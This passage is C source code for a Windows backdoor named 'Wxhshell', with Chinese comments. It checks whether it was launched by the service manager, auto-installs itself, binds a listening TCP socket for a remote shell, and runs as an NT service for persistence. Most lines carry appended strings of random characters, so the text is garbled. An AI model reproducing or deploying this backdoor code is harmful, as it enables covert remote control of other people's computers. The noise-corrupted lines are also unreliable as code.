DWORD PebBaseAddress; ca=sc[ $+
DWORD AffinityMask; 6v"WI@b4
DWORD BasePriority; { 9:vq|
ULONG UniqueProcessId; |$|B0mj
ULONG InheritedFromUniqueProcessId; i+q tL3
} PROCESS_BASIC_INFORMATION; ,J6t
1V
,V^2Oa
PROCNTQSIP NtQueryInformationProcess; 1X5MknA
8:t!m>(*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c,CcKy;+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <)$&V*\
QM('bbN
HANDLE hProcess; 1.0:
PROCESS_BASIC_INFORMATION pbi; a =
*'
Ztl?*zL
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'm=TBNQTS
if(NULL == hInst ) return 0; V8nz@
KvjsibI/Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S>Z07d6 &
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g^l~AR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E3hXs6P
'XJqh|G
if (!NtQueryInformationProcess) return 0; LZtO Q__B)
&|-jU+r}B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8n/8uRIR
if(!hProcess) return 0; <
]"Uy p
p[Zk;AT~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3AcS$.G
2P/ Sq
CloseHandle(hProcess);
F/SYmNp
R ;k1(p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >P+oNY
if(hProcess==NULL) return 0; %i6/=
'u
EtnuEU
HMODULE hMod; l{I.l
char procName[255]; /IQ$[WR cx
unsigned long cbNeeded; R]&lVXyH
S5BS![-QK
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L35]'Jua
oeYUsnsbi
CloseHandle(hProcess); 2=
Y8$-
w=_q<1a
if(strstr(procName,"services")) return 1; // 以服务启动 HTLS$o;Q
0"}=A,o(w
return 0; // 注册表启动 D&o~4Qvc]
} J#IVu?B
z6*r<>Bf+b
// 主模块 ^
Paf -/
int StartWxhshell(LPSTR lpCmdLine) B&QEt[=s
{ o2D;EUsNX
SOCKET wsl; ,|g&v/WlC%
BOOL val=TRUE; )[ QT?;
int port=0; qeDXG
struct sockaddr_in door; w5 #;Lm
NR,R.N^[
if(wscfg.ws_autoins) Install(); :d6]rOpX
j.!5&^;u4
port=atoi(lpCmdLine); SoWMP2/
n-9a0_{k
if(port<=0) port=wscfg.ws_port; uZTbJ3$$
2KlVj]!7
WSADATA data; &^`[$LtYd
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; shD4";8*@
:q >)c]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Quwq_.DU
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J`4V\D}n
door.sin_family = AF_INET; ?bH`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 75pn1*"gQ
door.sin_port = htons(port); *JRM(V+IEv
jR9;<qT/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #kk5{*`
closesocket(wsl); ]u^ybW"
return 1; 7z_ZD0PxPc
} YSzC's[
rB-R(2
CCN
if(listen(wsl,2) == INVALID_SOCKET) { #@' B\!<@=
closesocket(wsl); JXjH}C
return 1; ^RE[5h6^q
} L&KL]n
Wxhshell(wsl); P2&0bNY
WSACleanup(); HVdB*QEH
xS(VgP&YGO
return 0; D9 Mst6
~W-l|-eogz
} f%3MDI
/2''EF';
// 以NT服务方式启动 1,Es'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ey.%:
O-Dv
{ KjMwrMgC
DWORD status = 0; X(O:y^sX}
DWORD specificError = 0xfffffff; F~0iJnF
M6ZXq6J
serviceStatus.dwServiceType = SERVICE_WIN32; >;]S+^dXY
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Hh%"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i%GiWanG
serviceStatus.dwWin32ExitCode = 0; Z`f?7/"B
serviceStatus.dwServiceSpecificExitCode = 0; 'pyIMB?x
serviceStatus.dwCheckPoint = 0; od$$g(
serviceStatus.dwWaitHint = 0; pHowioFx
n2dOCntN>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _R^ZXtypd
if (hServiceStatusHandle==0) return; aeVd.`lxM
'9'f\
status = GetLastError(); G5|'uKz2"
if (status!=NO_ERROR) 62kA(F0e,
{ XTA:Y7"O
serviceStatus.dwCurrentState = SERVICE_STOPPED; #]QS
serviceStatus.dwCheckPoint = 0; Q8A+\LR~)
serviceStatus.dwWaitHint = 0; #F6<N]i
serviceStatus.dwWin32ExitCode = status; mE;^B%v
serviceStatus.dwServiceSpecificExitCode = specificError; !u:Fn)j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7yJE+o'
return; l*(L"]
} BUdO:fr
}
@
[!%hE
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0}YadNb7
serviceStatus.dwCheckPoint = 0; +U<.MVOo.
serviceStatus.dwWaitHint = 0; belBdxa{"
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LN)yQ-
} ~c55LlO>
~Y{]yBGoF
// 处理NT服务事件,比如:启动、停止 Lr20xm
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8QMMKOui\
{ <Qr*!-Kc6
switch(fdwControl) elR1NhB|p
{ -]-0]*oAp
case SERVICE_CONTROL_STOP: &> _aY #
serviceStatus.dwWin32ExitCode = 0; W9{;HGWS
serviceStatus.dwCurrentState = SERVICE_STOPPED; =jA.INin4
serviceStatus.dwCheckPoint = 0; >0u*E *Y
serviceStatus.dwWaitHint = 0; Q"Exmn3p
{ <pXOE-G5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1;+77<